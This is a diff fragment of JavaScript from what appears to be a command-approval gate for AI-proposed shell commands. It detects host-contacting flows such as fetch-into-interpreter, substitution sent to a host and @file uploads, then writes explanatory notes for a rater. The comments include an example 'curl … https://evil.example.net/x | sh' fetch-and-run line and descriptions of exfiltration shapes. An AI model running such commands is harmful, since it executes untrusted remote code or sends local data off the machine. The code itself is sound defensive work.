+ if (REDIRECT_PREFIX_RE.test(token))
908
+ continue;
909
+ const previous = i > 0 ? segment.argv[i - 1] : undefined;
910
+ if (previous !== undefined && REDIRECT_OPERATOR_RE.test(previous))
911
+ continue;
912
+ // `--data=$(…)` — the value glued to its flag.
913
+ if (token.startsWith('-')) {
914
+ if (sendFlags?.has(token.split(/=(.*)/)[0]))
915
+ return true;
916
+ continue;
917
+ }
918
+ // `-d $(…)` — the detached value. An operand preceded by a flag is that flag's value, so an
919
+ // unlisted flag (`-o`, `-O`, `--output`) stops here rather than falling on to the operand test.
920
+ if (previous !== undefined && previous.startsWith('-')) {
921
+ // `-d @$(…)` names a file to read; its CONTENTS are sent, not the substitution's output.
922
+ if (sendFlags?.has(previous) && !token.startsWith('@'))
923
+ return true;
924
+ continue;
925
+ }
926
+ // The endpoint operand itself. `[<>]` excludes an unspaced redirect (`<URL>>$(date).txt`),
927
+ // which is a host literal by prefix but a filename after the operator.
928
+ if (segment.hosts.includes(token) && !/[<>]/.test(token))
929
+ return true;
930
+ }
931
+ return false;
932
+ }
933
+ /** Read one part the way the matcher reads a whole command; `null` when it does not tokenize. */
934
+ function analyzeSegment(segment) {
935
+ const argv = tokenize(segment.text);
936
+ if (argv === null || argv.length === 0)
937
+ return null;
938
+ return {
939
+ separatorBefore: segment.separatorBefore,
940
+ argv,
941
+ head: bareHead(argv[0]),
942
+ hosts: matchArgv(argv),
943
+ };
944
+ }
945
+ /**
946
+ * Name the flow across the parts, or `null` when none of the shapes below applies.
947
+ *
948
+ * **Only shapes where the flow is determinable from the argv alone appear here**, and the order is
949
+ * how specific each one is. A part piped into an ordinary local program (`curl … | jq .version`) is
950
+ * deliberately NOT a flow: it is real, but naming it would state something the rater can already see
951
+ * in the text, and the note's whole value is the fact that needs two parts composed to notice.
952
+ *
953
+ * **Each arm carries EVERY host of the part it describes, not the first.** The first is the proxy in
954
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x | sh`, and the sentence that
955
+ * names it alone hides the host whose bytes `sh` runs.
956
+ */
957
+ function findFlow(segments) {
958
+ for (let i = 0; i + 1 < segments.length; i++) {
959
+ const upstream = segments[i];
960
+ const downstream = segments[i + 1];
961
+ if (downstream.separatorBefore !== 'pipe')
962
+ continue;
963
+ if (upstream.hosts.length > 0 && STDIN_INTERPRETERS.has(downstream.head)) {
964
+ return {
965
+ kind: 'fetch-into-interpreter',
966
+ hosts: upstream.hosts,
967
+ interpreter: downstream.head,
968
+ stdinIsTheProgram: interpreterRunsStdin(downstream.head, downstream.argv.slice(1)),
969
+ };
970
+ }
971
+ if (upstream.hosts.length === 0 && downstream.hosts.length > 0) {
972
+ return {
973
+ kind: 'local-into-transfer',
974
+ producer: upstream.head,
975
+ transfer: downstream.head,
976
+ hosts: downstream.hosts,
977
+ };
978
+ }
979
+ }
980
+ for (const segment of segments) {
981
+ if (segment.hosts.length === 0)
982
+ continue;
983
+ if (substitutionIsSent(segment)) {
984
+ return {
985
+ kind: 'substitution-into-transfer',
986
+ transfer: segment.head,
987
+ hosts: segment.hosts,
988
+ };
989
+ }
990
+ if (!AT_FILE_HEADS.has(segment.head))
991
+ continue;
992
+ const atFile = segment.argv
993
+ .map((token) => AT_FILE_OPERAND_RE.exec(token)?.[1])
994
+ .find((path) => path !== undefined);
995
+ if (atFile !== undefined) {
996
+ return {
997
+ kind: 'file-into-transfer',
998
+ transfer: segment.head,
999
+ hosts: segment.hosts,
1000
+ path: quotable(atFile),
1001
+ };
1002
+ }
1003
+ }
1004
+ return null;
1005
+ }
1006
+ /** Read every part of one form of the command; `null` when no part names a host. */
1007
+ function analyzeComposed(command) {
1008
+ const segments = splitComposed(command)
1009
+ .map(analyzeSegment)
1010
+ .filter((segment) => segment !== null);
1011
+ const hosts = [...new Set(segments.flatMap((segment) => [...segment.hosts]))];
1012
+ if (hosts.length === 0)
1013
+ return null;
1014
+ return { hosts, flow: findFlow(segments) };
1015
+ }
1016
+ /**
1017
+ * Read a command the gate's parser could NOT resolve part by part, and report the host literals and
1018
+ * the data flow across those parts — or `null` when the command resolves, or when no part names a
1019
+ * host.
1020
+ *
1021
+ * **This feeds the rater's note and nothing else.** It is never consulted by the destructive floor:
1022
+ * see the module docblock for why the two questions have different input sets, and
1023
+ * {@link findOpenWorldHostLiterals} for the floor's.
1024
+ *
1025
+ * The `null` on a resolvable command is the guard that keeps the rater from being told about the
1026
+ * same host twice in two registers — a command the parser resolved is the floor's, and the floor's
1027
+ * own note already names its hosts.
1028
+ *
1029
+ * Both the normalized and the raw form are read, for the reason {@link findOpenWorldHostLiterals}
1030
+ * gives: normalization collapses `\x` to `x`, which defeats `c\url` and destroys a Windows path
1031
+ * separator, so the raw pass is the only one that still sees `C:\Windows\System32\curl.exe`.
1032
+ *
1033
+ * @param command The raw command string as the model proposed it.
1034
+ */
1035
+ export function findComposedOpenWorld(command) {
1036
+ if (classifyCommand(command, normalizeCommand) !== null)
1037
+ return null;
1038
+ return analyzeComposed(normalizeCommand(command)) ?? analyzeComposed(command);
1039
+ }
1040
+ /**
1041
+ * The opening line of the composed open-world note.
1042
+ *
1043
+ * **It states the two facts and asserts no third one.** A part of this line names a host in a
1044
+ * fetch/transfer position, and nothing about the command has been decided. The second half is what
1045
+ * keeps this out of the floor note's register: that one may say the command *"is never
1046
+ * auto-approved"* because a floor really did fire, and here no floor exists — repeating its sentence
1047
+ * would tell the rater the outcome is settled when the rating is the only thing that decides it.
1048
+ */
1049
+ export const COMPOSED_OPEN_WORLD_PREAMBLE = 'OPEN-WORLD NOTE: the gate could not resolve this command line as a single command — it composes, ' +
1050
+ 'substitutes or redirects — so it was not put through the deterministic host check a plain ' +
1051
+ 'command goes through. Reading its parts separately, one of them names a host in a fetch or ' +
1052
+ 'transfer position. Nothing has been decided here and nothing has been floored: this is context ' +
1053
+ 'about what the parts do together, and the rating is entirely yours.';
1054
+ /**
1055
+ * Name every host that is safe to quote back, in argv order.
1056
+ *
1057
+ * **Every one, never the first.** The finding carries all of them because the first is the proxy and
1058
+ * the second is the counterparty as often as the other way round; a sentence that drops the rest
1059
+ * hides exactly what it exists to surface. A host that fails {@link quotable} is not named at all —
1060
+ * that is the injection boundary, not a shortening — and when none can be named the caller's
1061
+ * fallback word stands in for them.
1062
+ */
1063
+ function nameHosts(hosts, fallback) {
1064
+ const named = hosts.map(quotable).filter((host) => host !== null);
1065
+ if (named.length === 0)
1066
+ return { phrase: fallback, plural: false };
1067
+ if (named.length === 1)
1068
+ return { phrase: named[0], plural: false };
1069
+ const last = named[named.length - 1];
1070
+ return { phrase: `${named.slice(0, -1).join(', ')} and ${last}`, plural: true };
1071
+ }
1072
+ /**
1073
+ * The sentence describing the flow — the mechanism, then a question.
1074
+ *
1075
+ * Neither is a verdict about the command. [[QA-17]] measured that a bare observation from a
1076
+ * component that has just said it could not read the command is taken as DOUBT rather than as
1077
+ * information, and that one sentence of MECHANISM is what moves a rater; these say what the shell
1078
+ * does with the parts and then hand the judgement back.
1079
+ *
1080
+ * Every arm renders `flow.hosts` through {@link nameHosts} and agrees its verbs with the count, so
1081
+ * the one-host reading and the several-host reading are the same sentence rather than two that can
1082
+ * drift.
1083
+ */
1084
+ function flowSentence(flow) {
1085
+ switch (flow.kind) {
1086
+ case 'fetch-into-interpreter': {
1087
+ const { phrase: host, plural } = nameHosts(flow.hosts, 'that host');
1088
+ const interpreter = quotable(flow.interpreter) ?? 'the program after the pipe';
1089
+ const returns = plural ? 'return' : 'returns';
1090
+ const does = plural ? 'do' : 'does';
1091
+ // A token on the interpreter's own argv could be a program, so the fetched bytes may be its
1092
+ // INPUT rather than the thing it runs — `curl … | python3 -m json.tool` pretty-prints them as
1093
+ // data, and so does the glued `-mjson.tool` spelling. The sentence hedges because the gate
1094
+ // reads shape and not flag meanings; see {@link interpreterRunsStdin}.
1095
+ if (!flow.stdinIsTheProgram) {
1096
+ return (`The part that fetches from ${host} is piped into ${interpreter}, so ${interpreter} ` +
1097
+ `reads whatever ${host} ${returns}. This line also gives ${interpreter} operands of its ` +
1098
+ `own, which may be the program it runs, so the gate is not saying the fetched bytes are ` +
1099
+ `what executes here — they may be INPUT to that program instead. What ${does} ${host} ` +
1100
+ `serve here, and what does ${interpreter} do with it?`);
1101
+ }
1102
+ return (`The part that fetches from ${host} is piped into ${interpreter}, so the shell hands ` +
1103
+ `whatever ${host} ${returns} to ${interpreter} and ${interpreter} runs it as a program on ` +
1104
+ `this machine. What this line executes is therefore decided by ${host} and is not in the ` +
1105
+ `text above. What ${does} ${host} serve here?`);
1106
+ }
1107
+ case 'local-into-transfer': {
1108
+ const { phrase: host } = nameHosts(flow.hosts, 'that host');
1109
+ const producer = quotable(flow.producer) ?? 'the program before the pipe';
1110
+ const transfer = quotable(flow.transfer) ?? 'the program after the pipe';
1111
+ return (`The output of ${producer} is piped into ${transfer}, so whatever ${producer} produces on ` +
1112
+ `this machine is what ${transfer} sends to ${host}. It takes both parts together to see ` +
1113
+ `that: neither one moves local data off the machine on its own. What does ${producer} read ` +
1114
+ `and emit here?`);
1115
+ }
1116
+ case 'substitution-into-transfer': {
1117
+ const { phrase: host } = nameHosts(flow.hosts, 'that host');
1118
+ const transfer = quotable(flow.transfer) ?? 'the transfer program';
1119
+ return (`An operand of ${transfer} is a substitution. The SHELL runs that inner command first and ` +
1120
+ `substitutes its output into the argument list BEFORE ${transfer} starts, so the result of ` +
1121
+ `the inner command is part of what ${transfer} sends to ${host} — the operand is not the ` +
1122
+ `literal text shown. What does the inner command produce?`);
1123
+ }
1124
+ case 'file-into-transfer': {
1125
+ const { phrase: host } = nameHosts(flow.hosts, 'that host');
1126
+ const transfer = quotable(flow.transfer) ?? 'the transfer program';
1127
+ const file = flow.path === null ? 'a local file' : `the local file ${flow.path}`;
1128
+ return (`An operand of ${transfer} begins with an at-sign, which tells ${transfer} to read ` +
1129
+ `${file} and send its CONTENTS to ${host} rather than sending the name itself. What is in ` +
1130
+ `that file?`);
1131
+ }
1132
+ }
1133
+ }
1134
+ /**
1135
+ * The hosts the rest of the line names, added after the flow sentence.
1136
+ *
1137
+ * A flow describes ONE part; the finding covers the whole line. Without this, naming a flow would
1138
+ * cost the note every host outside that part — the same loss as naming only the first host, one
1139
+ * level up. Empty when the flow already named them all, which is the ordinary case.
1140
+ */
1141
+ function residualSentence(hosts) {
1142
+ const { phrase, plural } = nameHosts(hosts, '');
1143
+ if (phrase === '')
1144
+ return '';
1145
+ return plural
1146
+ ? ` Other parts of this line also name ${phrase}, and the gate is not saying what reaches them. ` +
1147
+ 'What do those parts do here?'
1148
+ : ` Another part of this line also names ${phrase}, and the gate is not saying what reaches ` +
1149
+ 'it. What does that part do here?';
1150
+ }
1151
+ /**
1152
+ * What the note says when no flow is determinable: the hosts, and an explicit statement that the
1153
+ * flow is NOT known. A note that guessed at one would be worse than a short one, and a reader told
1154
+ * what the gate could not work out can weigh it.
1155
+ */
1156
+ function flowlessSentence(hosts) {
1157
+ const { phrase, plural } = nameHosts(hosts, 'a host');
1158
+ const subject = plural ? 'The parts read separately name' : 'The part in question names';
1159
+ const them = plural ? 'those hosts' : 'that host';
1160
+ const contact = plural
1161
+ ? 'the parts of this line contact them'
1162
+ : 'one part of this line contacts it';
1163
+ return (`${subject} ${phrase}. The gate could not work out how the parts feed into each other, so it ` +
1164
+ `is not telling you what reaches ${them} — only that ${contact}. What does the whole line do ` +
1165
+ 'once every part has run?');
1166
+ }
1167
+ /**
1168
+ * Build the composed open-world note for a command, or `null` when there is nothing to say.
1169
+ *
1170
+ * One sentence of mechanism when the flow is determinable, plus the hosts the rest of the line names
1171
+ * ({@link residualSentence}); when it is not, {@link flowlessSentence}. **Every host on the finding
1172
+ * that can be quoted is named either way** — which arm fired must never decide how much the rater is
1173
+ * told about the counterparties.
1174
+ *
1175
+ * @param command The raw command string as the model proposed it.
1176
+ */
1177
+ export function buildComposedOpenWorldNote(command) {
1178
+ const finding = findComposedOpenWorld(command);
1179
+ if (finding === null)
1180
+ return null;
1181
+ const flow = finding.flow;
1182
+ const body = flow === null
1183
+ ? flowlessSentence(finding.hosts)
1184
+ : flowSentence(flow) +
1185
+ residualSentence(finding.hosts.filter((host) => !flow.hosts.includes(host)));
1186
+ return `${COMPOSED_OPEN_WORLD_PREAMBLE}\n${body}`;
1187
+ }
1188
+ //# sourceMappingURL=openWorld.js.map